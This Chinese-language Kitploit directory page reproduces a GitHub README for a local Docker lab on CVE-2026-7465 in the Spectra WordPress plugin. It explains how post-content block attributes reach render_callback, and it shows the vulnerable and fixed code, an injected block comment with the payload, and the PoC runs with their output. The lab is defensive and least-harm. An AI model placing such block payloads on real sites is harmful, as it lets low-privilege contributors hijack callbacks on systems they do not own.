Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-7465-Lab | Kitploit
工具/GitHubGitHub/rootdirective-sec/cve-2026-7465-lab
漏洞分析漏洞利用Web应用程序漏洞利用CTF学习与教育实验室与实践
GitHubrootdirective-sec/cve-2026-7465-lab

CVE-2026-7465-Lab

查看仓库
2个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-7465 - Spectra Gutenberg Blocks 本地实验环境

用于分析和复现 WordPress 插件 Spectra Gutenberg Blocks(ultimate-addons-for-gutenberg)中 CVE-2026-7465 的本地 Docker 实验环境。

本实验环境对比:

  • vuln:Spectra 2.19.25
  • patched:Spectra 2.19.26

该验证刻意采用最小危害(least-harm)原则。它不会执行 shell 命令、上传文件、创建用户或直接修改容器。PoC 会创建一个临时的 WordPress 草稿文章,检查渲染后的区块行为,然后删除该草稿。


摘要

CVE-2026-7465 是 Spectra Gutenberg Blocks 中的一个漏洞,用户可控的 Gutenberg 区块属性可能被传入 WordPress 区块注册参数。

在受影响版本中,Spectra 使用来自文章内容的区块属性动态注册解析后的 uagb/* 区块:

root@kitploit:~
$registry->register( $block['blockName'], $block['attrs'] );

由于投稿者(Contributor)可以创建包含 Gutenberg 区块注释的文章内容,因此经身份验证的投稿者级用户能够影响诸如 render_callback 之类的注册参数。

版本 2.19.26 通过使用空参数数组注册区块来修复该问题:

root@kitploit:~
$registry->register( $block['blockName'], array() );

这可以防止由文章内容控制的区块属性成为 PHP 区块注册选项。


受影响组件

产品:

root@kitploit:~
Spectra Gutenberg Blocks
WordPress plugin slug: ultimate-addons-for-gutenberg

本实验环境中使用的版本:

root@kitploit:~
vulnerable: 2.19.25
patched:    2.19.26

WordPress.org 上针对 2.19.26 的更新日志指出,该更新修复了一个安全漏洞,并感谢 Wordfence 的负责任披露。


根本原因

存在漏洞的逻辑位于:

root@kitploit:~
classes/class-uagb-init-blocks.php

存在漏洞的代码会检查解析后的区块名称是否包含 uagb/ 命名空间。如果该区块尚未注册,则会动态注册该区块。

存在漏洞时的行为

root@kitploit:~
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {

    $registry = WP_Block_Type_Registry::get_instance();

    if ( ! $registry->is_registered( $block['blockName'] ) ) {
        $registry->register( $block['blockName'], $block['attrs'] );
    }
}

问题在于第二个参数:

root@kitploit:~
$block['attrs']

在 Gutenberg 中,区块属性可以存储在文章内容中,例如:

root@kitploit:~
<!-- wp:uagb/example {"render_callback":"maybe_serialize"} /-->

投稿者可以创建草稿文章内容。因此,攻击者可以影响 $block['attrs']。

当这些属性被传入 WP_Block_Type_Registry::register() 时,它们会成为区块注册参数。其中一个敏感的注册参数是:

root@kitploit:~
render_callback

这创建了一个回调控制原语。

修复后的行为

在 2.19.26 中,Spectra 仍会注册解析后的 uagb/* 区块名称,但不再将文章内容控制的属性作为注册参数传递:

root@kitploit:~
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {

    $registry = WP_Block_Type_Registry::get_instance();

    if ( ! $registry->is_registered( $block['blockName'] ) ) {
        $registry->register( $block['blockName'], array() );
    }
}

重要的变更如下:

root@kitploit:~
- $registry->register( $block['blockName'], $block['attrs'] );
+ $registry->register( $block['blockName'], array() );

这将攻击者控制的属性从区块注册路径中移除。


为什么 PoC 使用 maybe_serialize

PoC 不会使用诸如 system、exec、shell_exec 或 passthru 等危险的 PHP 回调。

而是使用:

root@kitploit:~
maybe_serialize

验证区块内容如下:

root@kitploit:~
<!-- wp:uagb/cve-2026-7465-lab {"render_callback":"maybe_serialize"} /-->
<!-- wp:uagb/cve-2026-7465-lab {"lab_marker":"CVE_2026_7465_LEAST_HARM_CALLBACK_MARKER","proof":"least-harm"} /-->

预期行为:

root@kitploit:~
vulnerable:
  render_callback from block attrs is accepted
  marker appears in rendered content

patched:
  render_callback from block attrs is ignored
  marker does not appear in rendered content

这在不执行命令或写入文件的情况下证明了受影响版本的行为。


实验环境架构

服务:

root@kitploit:~
db_vuln      MariaDB for vulnerable WordPress
db_patched   MariaDB for patched WordPress
vuln         WordPress + Spectra 2.19.25
patched      WordPress + Spectra 2.19.26
seed_vuln    one-shot WordPress setup for vulnerable site
seed_patched one-shot WordPress setup for patched site

本地端口:

root@kitploit:~
http://127.0.0.1:8181 -> vulnerable WordPress
http://127.0.0.1:8182 -> patched WordPress

预设的 WordPress 用户:

root@kitploit:~
username: contributor
password: contributorpass123!
role:     contributor

PoC 仅通过 HTTP 运行。它通过登录和 REST API 请求与 WordPress 交互。


仓库结构

root@kitploit:~
.
├── docker-compose.yml
├── patched
│   └── Dockerfile
├── poc
│   └── poc.py
├── scripts
│   └── seed-wordpress.sh
├── vuln
│   └── Dockerfile

运行实验环境

从干净环境开始:

root@kitploit:~
docker compose down -v --remove-orphans
docker compose up -d --build

检查容器:

root@kitploit:~
docker compose ps

检查 seed 服务日志:

root@kitploit:~
docker compose logs seed_vuln seed_patched

预期的 seed 结果:

root@kitploit:~
[+] seed vuln: done
[+] seed patched: done

运行 PoC

测试存在漏洞的目标:

root@kitploit:~
python3 poc/poc.py -t http://127.0.0.1:8181

预期存在漏洞版本的判定结果:

root@kitploit:~
[VERDICT]
  VULNERABLE_BEHAVIOR_OBSERVED

测试已修复的目标:

root@kitploit:~
python3 poc/poc.py -t http://127.0.0.1:8182

预期已修复版本的判定结果:

root@kitploit:~
[VERDICT]
  PATCHED_BEHAVIOR_OBSERVED

预期输出

存在漏洞的版本 - Spectra 2.19.25

root@kitploit:~
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8181

[INFO] fingerprinting target
  spectra_stable_tag: 2.19.25
  spectra_changelog_latest: 2.19.25
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=16
[INFO] fetching rendered content

[EVIDENCE]
  raw_contains_marker:      True
  rendered_contains_marker: True
  rendered_length:          227
  proof_callback:           maybe_serialize
  synthetic_block:          uagb/cve-2026-7465-lab

[VERDICT]
  VULNERABLE_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=16
[OK] cleanup complete

已修复的版本 - Spectra 2.19.26

root@kitploit:~
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8182

[INFO] fingerprinting target
  spectra_stable_tag: 2.19.26
  spectra_changelog_latest: 2.19.26
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=14
[INFO] fetching rendered content

[EVIDENCE]
  raw_contains_marker:      True
  rendered_contains_marker: False
  rendered_length:          1
  proof_callback:           maybe_serialize
  synthetic_block:          uagb/cve-2026-7465-lab

[VERDICT]
  PATCHED_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=14
[OK] cleanup complete

证据解读

重要的对比项是:

root@kitploit:~
raw_contains_marker
rendered_contains_marker

存在漏洞和已修复的目标都应显示:

root@kitploit:~
raw_contains_marker: True

这确认了相同的区块内容已成功保存到临时草稿文章中。

差异在于渲染输出:

root@kitploit:~
vulnerable:
  rendered_contains_marker: True

patched:
  rendered_contains_marker: False

这表明存在漏洞的版本接受了由文章内容控制的 render_callback,而已修复的版本则没有。

清理

停止并移除容器、网络和数据卷:

root@kitploit:~
docker compose down -v --remove-orphans

如果存在 Python 缓存,请将其移除:

root@kitploit:~
rm -rf poc/__pycache__

安全说明

本仓库仅用于本地安全研究和作品集演示。

PoC:

  • 仅针对 localhost 或回环地址
  • 在本地实验环境中使用经过身份验证的 WordPress 访问
  • 创建临时草稿文章
  • 在检查渲染行为后删除草稿文章
  • 不执行 shell 命令
  • 不上传文件
  • 不创建用户
  • 不直接修改 Docker 容器
  • 不提供远程利用流程

请勿针对你不拥有或未获得明确测试许可的系统运行本实验环境。


参考链接

  • WordPress.org 插件页面:Spectra Gutenberg Blocks - 适用于区块编辑器的网站构建器
    https://wordpress.org/plugins/ultimate-addons-for-gutenberg/

  • WordPress.org 更新日志:2.19.26 - Monday, 4th May 2026 安全更新,致谢 Wordfence
    https://wordpress.org/plugins/ultimate-addons-for-gutenberg/#developers

  • WordPress 插件 SVN / Trac
    https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/

下载工具